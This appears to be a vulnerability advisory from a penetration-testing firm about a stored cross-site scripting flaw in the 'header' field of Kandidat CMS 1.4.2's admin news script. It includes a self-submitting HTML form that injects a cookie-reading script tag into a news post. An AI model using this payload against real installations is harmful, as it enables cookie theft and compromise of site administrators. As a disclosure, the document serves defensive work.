Vulnerability ID: HTB22650 Reference: http://www.htbridge.ch/advisory/xss_vulnerability_in_kandidat_cms_2.html Product: Kandidat CMS Vendor: Kan-Studio ( http://www.kan-studio.ru/ ) Vulnerable Version: 1.4.2 and probably prior versions Vendor Notification: 19 October 2010 Vulnerability Type: Stored XSS (Cross Site Scripting) Status: Not Fixed, Vendor Alerted, Awaiting Vendor Response Risk level: Medium Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/) Vulnerability Details: User can execute arbitrary JavaScript code within the vulnerable application. The vulnerability exists due to failure in the "/admin/news.php" script to properly sanitize user-supplied input in "header" variable. Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data. An attacker can use browser to exploit this vulnerability. The following PoC is available: <form action="http://host/admin/news.php?edit=NEWS_ID"; method="post" name="main"> <input type="hidden" name="header" value='newsheader"><script>alert(document.cookie)</script>'> <input type="hidden" name="message" value="message"> <input type="hidden" name="extramessage" value="extramessage"> <input type="hidden" name="newsdoing" value="Submit"> </form> <script> document.main.submit(); </script>
